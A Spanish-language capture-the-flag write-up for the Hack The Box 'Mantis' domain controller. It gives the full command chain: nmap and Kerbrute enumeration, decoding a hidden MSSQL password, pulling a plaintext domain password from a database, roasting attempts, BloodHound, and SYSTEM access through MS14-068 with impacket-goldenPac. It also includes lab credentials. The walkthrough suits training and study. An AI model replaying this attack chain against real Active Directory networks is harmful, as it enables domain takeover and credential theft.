Mantis
Mantis
puede ser sin duda una de las máquinas más desafiantes para algunos usuarios. Para explotarla con éxito, se requiere un poco de conocimiento o investigación sobre servidores Windows y el sistema de controlador de dominio.

Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Mantis.
nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.52 -oG allPorts

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
nmap -sCV -p53,88,135,139,389,445,464,593,636,1337,1433,3268,3269,5722,8080,9389,47001,49152,49153,49154,49155,49157,49158,49161,49166,49168,50255 10.10.10.52 -A -oN targeted -oX targetedXML

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
xsltproc targetedXML > index.html
python3 -m http.server 80

Accederemos a http://localhost y comprobaremos el resultado en un formato más cómodo para su análisis.

Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.
netexec smb 10.10.10.52
ldapsearch -x -H ldap://10.10.10.52 -s base | grep defaultNamingContext

Procederemos a añadir la entrada en nuestro archivo /etc/hosts
catnp /etc/hosts | grep mantis.htb.local

Kerbrute User Enumeration
Procederemos a dejar en segundo plano la siguiente enumeración a través de Kerberos mediante fuerza bruta utilizando la herramienta de Kerbrute.
kerbrute userenum --dc 10.10.10.52 -d htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Web Enumeration
Revisando la existencia de diversos puertos, nos fijaremos en los siguientes puertos para realizar una enumeración de posibles directorios o subdirectorios en posibles páginas web de los siguientes puertos.
catnp targeted -l java | grep http | grep tcp

Procederemos a enumerar directorios a través de gobuster del puerto 1337 y nos encontramos que hay un directorio llamado "secure_notes".
gobuster dir -u http://10.10.10.52:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Accediendo a http://10.10.10.52:1337/secure_notes/ nos aparecen dos archivos, procederemos a comprobar que contiene el archivo .txt.

Revisando el contenido del archivo (.txt) aparece un mensaje indicando que unos pasos donde se informa de crear un usuario llamado "admin" para la BBDD llamada "orchardb".
Revisando el nombre del archivo .txt nos fijamos en que parece una cadena codificada en Base64.

Probando de descodificar el posible contenido de Base64, nos damos cuenta que el resultado que nos muestra parece una codificación en Hexadecimal. Descodificamos en Hexacedcimal y verificamos el contenido del mensaje en texto plano, al parecer se trata de una contraseña, muy probablemente la del usuario de la BBDD.
echo 'NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx' | base64 -d; echo
echo '6d2424716c5f53405f504073735730726421' | xxd -r -p; echo

Database Enumeration (Dbeaver)
Procederemos a intentar conectarnos mediante la herramienta de mssqlclient.py y comprobamos que efectivamente ganamos acceso con el usuario "admin" y las credenciales encontradas.
mssqlclient.py htb.local/admin@10.10.10.52 2>/dev/null

En este caso, no realizaremos la enumeración de la base de datos a través de lÃnea de comandos. En esta ocasión procederemos a hacer el uso de la herramienta de Dbeaver que permite conectarse a cualquier tipo de base de datos y poder realizar una enumeración con un entorno gráfico.
Abriremos la aplicación de Dbeaver, seleccionaremos el tipo de BBDD al cual queremos conectarnos, en este caso, escogemos el Microsoft SQL Server.
Especificaremos el usuario "admin" y las credenciales encontradas y la dirección IP del Host (10.10.10.52).

Revisando las tablas de la base de datos nombrada "orchardb", nos encontramos una tabla llamada "blog_Orchard_Users_UserPartRecord". Probaremos de acceder a ella para ver el contenido de la misma.

Revisando el contenido de la tabla, nos damos cuenta que aparece la contraseña en texto plano de un usuario que al parecer es del dominio. Si bien recordamos, este usuario (james@htb.local) lo validamos anteriormente con Kerbrute, por lo tanto sabemos que es un usuario válido del dominio.

Procederemos a validar si la contraseña es válida para el usuario (james@htb.local). Efectivamente comprobamos que si son credenciales válidas.
netexec smb 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!'

SMB Enumeration
Ya que disponemos de credenciales válidas, procederemos a intentar enumerar el SMB en busca de recursos compartidos que nos puedan aportar información interesante.
En este caso, los recursos enumerados no nos sirven para nada.
netexec smb 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!' --shares

Users Enumeration (rpcenum)
Procederemos a enumerar el dominio a través del protocolo RPC con la herramienta de rpcenum.
Comprobamos que hemos podido enumerar toda la lista de usuarios del dominio, nos guardaremos los usuarios en un archivo "users.txt".
rpcenum -e DUsers -i 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!'

AS-REP Roast Attack (GetNPUsers) - [FAILED]
Dado que disponemos de los usuarios válidos del dominio, procederemos a realizar un AS-REP Roast Attack para solicitar un TGT (Ticket Granting Ticket) para aquellos usuarios que dispongan del (DONT_REQ_PREAUTH) de Kerberos y asà obtener su hash y posteriormente crackearlo de manera offline.
En este caso, no encontramos ningún usuario que cumpla el requisito.
catnp users.txt
impacket-GetNPUsers -no-pass -usersfile users.txt htb.local/ 2>/dev/nul

Kerberoasting attack (GetUserSPNs) - [FAILED]
Debido que disponemos de credenciales de un usuario válido del dominio, nos plantearemos en realizar un Kerberoasting Attack para solicitar un TGS (Ticket Granting Service) para obtener un hash y posteriormente crackearlo.
En este caso, tampoco obtenemos ningún resultado.
impacket-GetUserSPNs -dc-ip 10.10.10.52 htb.local/james -request 2>/dev/null

BloodHound Enumeration
Realizaremos una enumeración con BloodHound a través de bloodhound-python.
bloodhound-python -c All -ns 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!' -d htb.local --zip

Revisando en el BloodHound en busca de vectores para elevar nuestros privilegios, nos damos cuenta que el usuario que disponemos (james@htb.local) dispone de permisos de CanRDP sobre el Domain Controller.
Pero si recordamos en la enumeración de puertos abiertos a través de Nmap, no se encontraban expuestos los puertos del RDP (3389) ni el del WinRM (5985), por lo tanto no nos podemos conectar remotamente.

Privilege Escalation
Exploiting MS14-068 (goldenPac) [Microsoft Kerberos Checksum Validation Vulnerability]
Dado que no encontramos ninguna manera de explotar una escala de privilegios, revisando en https://swisskyrepo.github.io posibles vectores de ataque al Active Directory, nos encontramos con la siguiente página que habla de la explotación del MS14-068.
https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/
La vulnerabilidad MS14-068 permite a un atacante manipular el token de inicio de sesión Kerberos de un usuario legÃtimo para reclamar falsamente privilegios elevados, como ser un Administrador de Dominio. Esta reclamación falsa es validada erróneamente por el Controlador de Dominio, lo que permite el acceso no autorizado a los recursos de la red en todo el bosque de Active Directory.
En este caso, para explotar la vulnerabilidad, deberemos de añadir la entrada correspondiente al nombre del DC en el archivo /etc/hosts para asegurar una correcta resolución DNS.
catnp /etc/hosts | grep mantis.htb.local

Realizando el ataque a través de impacket-goldenPac utilizando la dirección IP del DC comprovamos que nos devuelve error, en cambio a través del nombre DNS del dc logramos explotar la vulnerabilidad y conseguir el acceso como NT AUTHORITY\SYSTEM.
Esto debido a que Kerberos depende de nombres DNS para validar correctamente los tickets emitidos. Al usar la IP, la autenticación falla porque no coincide con el nombre esperado en el servicio Kerberos.
Una vez teniendo acceso al DC con los máximos privilegios, verificamos la flag de user.txt y la de root.txt.
impacket-goldenPac htb.local/james@10.10.10.52 2>/dev/null
impacket-goldenPac htb.local/james@mantis 2>/dev/null

Última actualización
¿Te fue útil?